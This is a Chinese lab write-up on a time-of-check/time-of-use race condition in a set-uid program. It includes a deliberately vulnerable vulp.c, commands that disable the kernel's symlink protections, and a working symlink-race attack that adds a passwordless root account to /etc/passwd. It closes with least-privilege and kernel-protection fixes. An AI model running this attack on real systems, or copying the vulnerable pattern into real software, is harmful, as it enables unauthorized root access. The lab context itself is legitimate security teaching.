实验PDF链接
我们首先考虑这样的一个情景,我们有一个名为test的文件,它具有这样的权限:
-rwsr-xr-x 1 root seed 40 Jun 9 22:45 test
作为seed用户,我们无法对于此文件进行写入:
但是,假设我们的系统中存在一个程序setuid_modifi.c
:
#include
#include
int main(){
char * fn = "test";
char buffer[60];
FILE *fp;
scanf("%50s", buffer );
if(fp = fopen(fn, "a+") == NULL){
printf("Error!");
}
else{
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
}
由它编译生成的可执行文件,然后执行sudo chown root setuid_modifi
和sudo chmod 4755 setuid_modifi
,此时得到的程序可以被seed用户执行,并且修改test
文件之中的内容。为了避免这种情况,我们可以使用位于标准库unistd.h
中的函数access()
int access(const char* pathname, int mode)
//判断路径为pathname的文件能否以mode的权限打开
//成功返回1,否则返回0
我们可以这样改写我们的程序:
//...
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else
printf("No permission \n");
//....
这样,程序就会先检查实际用户是否真的具有权限(check)然后再去打开(open),这样,可以避免seed执行了具有root权限的程序去修改自身没有修改权限的文件。
看上去我们可以高枕无忧了,但事实果真如此吗?
首先,我们需要关闭Ubuntu系统自带的保护
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
sudo sysctl -w fs.protected_symlinks=0
之后,编译我们的具有漏洞的程序:
/* vulp.c */
#include
#include
int main(){
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){ //line1
fp = fopen(fn, "a+"); //line2
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
可以看出,在line1和line2具有竞争条件漏洞。然后我们将其编译,然后set-uid
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
这样,我们便完成了我们的准备工作
我们在确定加害方式之前,可以先去找一个无辜的受害者,我们选择一个非常重要的文件:/etc/passwd
, 在这个文件里面存储了我们系统的用户和密码等等信息,我们查看其中的两条:
root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:seed,,,:/home/seed:/bin/bash
其中记录的含义是:
- 注册名,是唯一的;
- 密码,在Unix里面,密码不以明文形式存储,而采用密文,同时,为了防止受到已知明文攻击,还会采用一个特别的文件
/etc/shadow
,在这个里面存储着真正的密码,而在passwd
里面只存储一个x
;- UID,用户ID;
- GID,组ID;
- 用户名,包括真实姓名、邮箱、地址等等;
- 用户主目录名;
- 命令解释程序
来源链接
尽管我们的密码文件里面不会存储密文,但是程序依旧会解析密文,因而我们可以添加密文进入。可以使用perl的crypt函数,为了方便,我们可以使用空密码,运行:
perl -e 'print crypt("", "U6")."\n"'
得到了所谓的"magic number":U6aMy0wojraho
, crypt的第一个参数为明文,第二个为salt。或许有些同学会问,这里我们是用U6是为了什么呢?答案是我也不知道hhh。事实上,你用U7什么的也可以,U7的结果为U7TJTzBqCUlfM,经本人测试是完全没有问题的,但是包括Google上,很多创建passwordless用户的教程用的都是这个密码,U6这个salt还是有点奇怪,可能是历史原因?
然后,我们可以创建这样一个条目:
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
然后,将其添加到文件最后,我个人比较喜欢gedit
,当然其他命令也是没问题的。
Result:
查看结果之后,记得删除这个条目!
在确定完作案目标之后,我们是时候干一票了。我们先查看竞争条件漏洞的原理。
首先,我们来看看我们的攻击程序:
//attack_process.c
#include
int main(void){
while(1){
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ");
usleep(1000);
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
usleep(1000);
}
return 0;
}
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ] do
./vulp < passwd_input
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
其中,passwd_input
的内容为:test:U6aMy0wojraho:0:0:test:/root:/bin/bash
不难看出,我们一共需要运行两个进程,一个是我们的victim:vulp
,另一个则是我们的adversary:attack_process
,正常情况之下,victim将会正常进行,输出"No Permission"
,但是,在某个时间,可能发生如下情况:
/tmp/XYZ
被attacker指向dev/null
access
函数,因为/dev/null
是全局可写(global writable),所以access
判定为true;/tmp/XYZ
指向了/etc/passwd
;fopen
,信息被写入etc/passwd
,修改成功;因而,我们可以得知相关几个相关文件的必须权限:
/tmp/XYZ
:链接文件,我们必须可以读写此文件,也就是说,如果你以root权限创建了链接,那么有可能会一直报"No Permission"
;/dev/null
: 欺骗access
的文件,对此文件我们必须具有写权限/etc/passwd
,我们试图篡改的文件Result:
Then use su test
, and enjoy your shell!
这个principle的核心思想便是,在需要使用root的时候再使用root,在其他的时间,我们使用实际的UID进行我们的程序操作,代码如下。可以看到,我们在access之前,加入了函数seteuid
,其可以在程序中设定我们的effective UID,避免出现错误赋予低权限用户高权限操作的漏洞。
/* vulp.c fixed with least privilege principle */
#include
#include
int main(){
uid_t real_uid = getuid();
uid_t eff_uid = geteuid();
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
seteuid(real_uid);
if(!access(fn, W_OK)){
usleep(1000);
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else
printf("No permission \n");
seteuid(eff_uid);
//other instructions....
}
这个之后的结果为:
这里报segment fault的原因是,在我们修改EID之后,事实上使用seed用户的身份去对root用户的相关内容进行操作,因为不同用户的内存空间不同,这回导致segment fault。
把我们在preparation中关闭的保护措施打开就好,结果为
至于这种保护措施的原理,我们可以在官方文档里面找到:
A long-standing class of security issues is the symlink-based time-of-check-time-of-use race, most commonly seen in world-writable directories like /tmp. The common method of exploitation of this flaw is to cross privilege boundaries when following a given symlink (i.e. a root process follows a symlink belonging to another user). For a likely incomplete list of hundreds of examples across the years, please see: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=/tmp
When set to “0”, symlink following behavior is unrestricted.
When set to “1” symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.
This protection is based on the restrictions in Openwall and grsecurity.